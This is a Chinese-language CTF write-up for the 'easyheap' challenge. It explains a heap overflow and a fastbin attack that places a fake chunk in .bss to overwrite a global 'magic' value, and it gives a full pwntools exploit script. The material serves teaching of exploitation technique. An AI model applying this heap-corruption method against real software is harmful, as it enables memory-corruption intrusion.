easyheap 只改 magic 触发 4869
题目信息
程序提供
create、edit、delete三个堆操作。edit存在堆溢出,因为它会直接使用用户输入的size去read,不检查是否超过原 chunk 大小。主程序里有一个隐藏分支:
if (choice == 4869) {
if ((unsigned long long)magic <= 0x1305) {
puts("So sad !");
} else {
puts("Congrt !");
l33t();
}
}
目标就是把全局变量 magic 改成大于 0x1305 的值,然后发送 4869。
关键地址
magic = 0x6020c0
heaparray = 0x6020e0
fake_chunk = 0x6020ad
这里 fake_chunk = 0x6020ad 很关键。
原因是这题可以把 fastbin 的 fd 指针劫持到 .bss 附近,而 0x6020ad 这个位置错位后恰好能伪造出一个可用的 fake chunk。随后再次 malloc,就能把一块“堆块”分配到 .bss 上。
漏洞点
edit_heap 的核心逻辑是:
printf("Size of Heap : ");
read(0, buf, 8);
size = atoi(buf);
printf("Content of heap : ");
read_input(heaparray[idx], size);
这里的 size 完全由用户控制,所以可以对相邻 chunk 做堆溢出。
利用思路
1. 申请三个 fastbin 大小的 chunk
申请 3 个 0x60 的 chunk:
chunk0chunk1chunk2
它们在堆上是连续的,0x60 请求大小对应的实际 chunk size 是 0x70,会进入同一个 fastbin。
2. 释放 chunk2
先把 chunk2 释放,让它进入 fastbin。
3. 利用 chunk1 溢出改写 chunk2 的元数据
从 chunk1 溢出到已经 free 的 chunk2:
payload = b"B" * 0x60
payload += p64(0)
payload += p64(0x71)
payload += p64(0x6020ad)
含义:
b"B" * 0x60填满chunk1的用户数据区p64(0)覆盖chunk2->prev_sizep64(0x71)保持chunk2->size为 fastbin 大小p64(0x6020ad)把chunk2->fd改成我们伪造的 fake chunk
这样 fastbin 链表就变成:
chunk2 -> fake_chunk(0x6020ad)
4. 连续 malloc 两次
第一次 malloc(0x60) 会拿回真正的 chunk2。
第二次 malloc(0x60) 会返回伪造出来的 fake chunk。
fake chunk 的用户区地址是:
0x6020ad + 0x10 = 0x6020bd
而 magic 在:
0x6020c0
两者相差正好 3 字节,所以只要写:
payload = b"\x00" * 3 + p64(0x1306)
就能把 magic 精确改成 0x1306。
exp
from pwn import *
context.binary = elf = ELF("./easyheap")
context.arch = "amd64"
context.os = "linux"
context.log_level = "debug"
def start():
return process(elf.path)
# return remote("node5.buuoj.cn", 28980)
io = start()
fake_chunk = 0x6020AD
magic = elf.symbols["magic"]
def add(size, content):
io.sendlineafter(b"Your choice :", b"1")
io.sendlineafter(b"Size of Heap :", str(size).encode())
io.sendafter(b"Content of heap:", content)
def edit(index, size, content):
io.sendlineafter(b"Your choice :", b"2")
io.sendlineafter(b"Index :", str(index).encode())
io.sendlineafter(b"Size of Heap :", str(size).encode())
io.sendafter(b"Content of heap : ", content)
def delete(index):
io.sendlineafter(b"Your choice :", b"3")
io.sendlineafter(b"Index :", str(index).encode())
add(0x60, b"A" * 8) # 0
add(0x60, b"B" * 8) # 1
add(0x60, b"C" * 8) # 2
delete(2)
payload = b"B" * 0x60
payload += p64(0)
payload += p64(0x71)
payload += p64(fake_chunk)
edit(1, len(payload), payload)
add(0x60, b"D" * 8) # 2
add(0x60, b"\x00" * 3 + p64(0x1306)) # 3
io.sendlineafter(b"Your choice :", b"4869")
io.interactive()
总结
这题如果本地 l33t() 能直接 cat flag,最短利用链不是泄漏 libc,也不是改 __malloc_hook,而是:
- 利用
edit做堆溢出 - 做一次 fastbin attack
- 把 fake chunk 分配到
.bss - 覆写
magic - 输入
4869
同时,fake_chunk的位置是这么得来的:
fake_chunk = 0x6020ad 不是程序里现成的变量名,而是攻击者自己选出来的一个 .bss 地址,用来“伪造一个 fastbin chunk”。
核心原因只有一句:
我们想让第二次 malloc(0x60) 返回一块落在 .bss 上、并且它的用户区正好覆盖 magic(0x6020c0) 的内存。
对 0x60 请求来说,glibc 实际分配的 chunk size 是 0x70,对应 fastbin size 字段一般是 0x71。malloc 从 fastbin 取块时,会把拿到的 chunk 指针 p 转成用户区指针 p + 0x10 返回。
所以如果我们想让“返回的用户区”落到 magic 附近,就得反推这个 fake chunk 头应该放哪:
magic = 0x6020c0
returned_ptr = fake_chunk + 0x10
如果直接想让返回地址等于 magic,那就是:
fake_chunk = 0x6020c0 - 0x10 = 0x6020b0
但实际 fastbin attack 常常不会选这种完全对齐的位置,而是选一个“错位地址”,让 fake chunk 的 size 字段在内存里的某个字节布局刚好能骗过检查。这里常用的是:
fake_chunk = 0x6020ad
这样返回的用户区就是:
0x6020ad + 0x10 = 0x6020bd
而:
0x6020c0 - 0x6020bd = 3
所以只要往这块“伪造出来的 chunk”里写:
b"\x00"*3 + p64(0x1306)
就能把第 4 个字节开始的 8 字节,正好写到 magic 上。
也就是说,0x6020ad 的来源是:
- 先锁定目标地址
magic = 0x6020c0 - 知道
malloc返回的是chunk + 0x10 - 结合 fake chunk 的 size / 对齐检查,选一个能通过检查、又能让用户区覆盖
magic的错位地址 - 这个地址在这题里就是
0x6020ad
简化理解就是:
0x6020c0是目标0x6020ad是为了让malloc“吐”出一块能覆盖这个目标的假 chunk 头地址
评论